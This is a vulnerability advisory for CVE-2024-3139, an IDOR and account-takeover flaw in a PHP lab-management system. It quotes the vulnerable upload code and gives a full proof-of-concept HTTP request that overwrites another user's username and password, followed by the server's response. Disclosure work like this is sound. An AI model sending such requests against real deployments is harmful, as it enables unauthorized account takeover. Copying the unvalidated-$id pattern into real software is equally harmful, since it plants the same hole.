#Vulnerability Details: #Application Name: Computer Laboratory Management System #Software Link: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html #Vendor Homepage: https://www.sourcecodester.com/users/tips23 #BuG: Insecure Direct Object References (IDOR) and Account Takeover #BuG_Author: SoSPiro #CVE: CVE-2024-3139 # Vulnerable code section: if(!empty($_FILES['img']['tmp_name'])){ if(!is_dir(base_app."uploads/avatars")) mkdir(base_app."uploads/avatars"); $ext = pathinfo($_FILES['img']['name'], PATHINFO_EXTENSION); $fname = "uploads/avatars/$id.png"; // The $id value is directly used in the file path // Rest of the code } # Vulnerability Description: This vulnerability exists in the section of code responsible for handling file uploads. The $id variable, obtained from user input ($_POST), is utilized directly in constructing the file path without appropriate validation or authorization checks, leading to both IDOR and account takeover vulnerabilities. This allows an attacker to manipulate the $id parameter to access and modify files of other users, including administrators. # Proof of Concept (PoC): - Poc Video : https://drive.google.com/file/d/1P0Vg_sYM9S43_rJTe1l5E2Vt9gzvb0YX/view?usp=sharing - Request: POST /php-lms/classes/Users.php?f=save HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------38244968796537297751592545024 Content-Length: 8393 Origin: http://localhost Connection: close Referer: http://localhost/php-lms/admin/?page=user Cookie: PHPSESSID=3oor3gc9ih6iq8fu6qpjf50si8 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin X-PwnFox-Color: green -----------------------------38244968796537297751592545024 Content-Disposition: form-data; name="id" 7 -----------------------------38244968796537297751592545024 Content-Disposition: form-data; name="firstname" testtt -----------------------------38244968796537297751592545024 Content-Disposition: form-data; name="middlename" testMiddle -----------------------------38244968796537297751592545024 Content-Disposition: form-data; name="lastname" te Last Name -----------------------------38244968796537297751592545024 Content-Disposition: form-data; name="username" admin2 -----------------------------38244968796537297751592545024 Content-Disposition: form-data; name="password" qwe123 -----------------------------38244968796537297751592545024 Content-Disposition: form-data; name="img"; filename="hack.png" Content-Type: image/png PNG ... - Response: HTTP/1.1 200 OK Date: Mon, 01 Apr 2024 10:19:19 GMT Server: Apache/2.4.54 (Win64) PHP/8.2.0 mod_fcgid/2.3.10-dev X-Powered-By: PHP/8.2.0 X-Xdebug-Profile-Filename: c:/wamp64/tmp\trace.localhost.1711966759.10780.cgrind Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 1 Connection: close Content-Type: text/html; charset=UTF-8 1 # Impact: This vulnerability allows attackers to access and modify user data and profile pictures, leading to potential phishing, distribution of malicious content, and reputational damage. Additionally, unauthorized access to administrator accounts can occur, resulting in the compromise of sensitive information. This poses a significant risk to the security and usability of the application. # Reproduce: https://github.com/Sospiro014/zday1/blob/main/idor%2Baccaunt_takeover.md https://vuldb.com/?id.258914 https://www.cve.org/CVERecord?id=CVE-2024-3139